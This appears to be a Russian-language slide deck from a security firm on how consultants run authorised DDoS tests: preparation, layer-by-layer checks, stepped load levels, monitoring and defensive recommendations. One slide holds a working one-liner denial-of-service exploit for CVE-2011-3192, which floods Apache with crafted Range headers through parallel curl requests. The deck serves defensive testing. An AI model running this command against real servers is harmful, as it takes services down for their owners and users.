Практика проведения DDoS-тестирований
Дмитрий Евтеев (Positive Technologies)
Из чего выбрать?
Готовое решение?- Mu Dynamics- IBM Rational- …$$
Обратиться к хакерам?- Этическая сторона вопроса- Сеть легла, что с этим делать…?
Пригласить консультантов?- Оценка эффективности существующих средств защиты
и взаимодействия подразделений заказчика в части обнаружения и блокирования DDoS-атак
- Аналитика и рекомендации по повышению защищенности от DDoS-атак
Что требуется консультантам при подготовке к DDoS-тестированию?
логическая схема тестируемого объекта, включая все инфраструктурные элементы (средства защиты, каналы связи, тестируемые узлы, балансировщики нагрузки, маршрутизаторы и т.п.)
тип, модель, ОС, тестируемых узлов и элементов инфраструктуры, участвующих в тестировании
настройки и ограничения, накладываемые средствами защиты
существующие средства регистрации событий по производительности аппаратной части устройства
контакты лиц, ответственных за функционирование каждого элемента инфраструктуры объекта
Что проверяют консультанты?
сетевой уровень
- IP
- ICMP
транспортный уровень
- TCP
- UDP
прикладной уровень
- веб-приложения
- сервисы инфраструктуры (например, DNS)
- любые другие приложения, обеспечивающие бизнес-процессы
Как проводится тестирование сетевого/транспортного уровней?
проверка известных атак и уязвимостей- Ping of death- Land attack- Teardrop attacks- …
осуществление нагрузочного тестирования (SYN-/UDP-/ICMP-flood & TCP 3-way handshake) по возрастающей
Тесты проводятся сериями, с постепенно нарастающей нагрузкой (10%, 25%, 50%, 75%, 100%) от предельного уровня возможностей доступных ресурсов в отношении тестируемых узлов.
Как проводится тестирование прикладного уровня?
поиск уязвимостейMaxPatr0l ->CVE-XXXX; ошибки эксплуатации
проведение атаки с использованием известных уязвимостей
Например, CVE-2011-3192 - http://seclists.org/fulldisclosure/2011/Aug/175# seq 1 1000 | xargs -I{} -P 1000 curl -I -H "User-Agent:" -H "Range: bytes=0-`printf ',5-%d' {10..1000}`" --compress -s http://URI >/dev/null
Или, например, HTTP POST DDOS attackOWASP AppSec DC 2010: Wong Onn Chee, Tom Brennan - https://www.owasp.org/images/4/43/Layer_7_DDOS.pdf
проведение атаки с использованием уязвимостей нулевого дня
осуществление нагрузочного тестирования по возрастающей
Использование уязвимостей нулевого дня…
<=Apache Tomcat/7.0.12 (Java V.6 Update 24) 0-day DoS
Как проводится тестирование веб-приложений?
поиск уязвимостей
- обход механизмов аутентификации/авторизации и
разграничения доступа
- выполнение кода (SQL Injection, OS Commanding, etc)
- ошибки в реализации логики системы (включая
переполнение буфера)
поиск ресурсоемких запросов (!)
проведение атаки с использованием обнаруженных недостатков
осуществление нагрузочного тестирования по возрастающей
Поиск уязвимостей в веб-приложениях…
Подход компании Positive Technologies при проведении DDoS-тестирований (1/2)
Подход компании Positive Technologies при проведении DDoS-тестирований (2/2)
Сбор статистики с использованием утилиты MRTG
Анализ пропускной способности с использованием утилиты IPERF
Использование встроенных счетчиков производительности
Резюме
Для защиты от DDoS требуется комплексная защита
- Приложения
- Инфраструктура
- Превентивный контроль
- Люди (!)
Регулярный анализ защищенности
Регулярная оценка эффективности
Спасибо за внимание!Вопросы?
[email protected]://devteev.blogspot.com/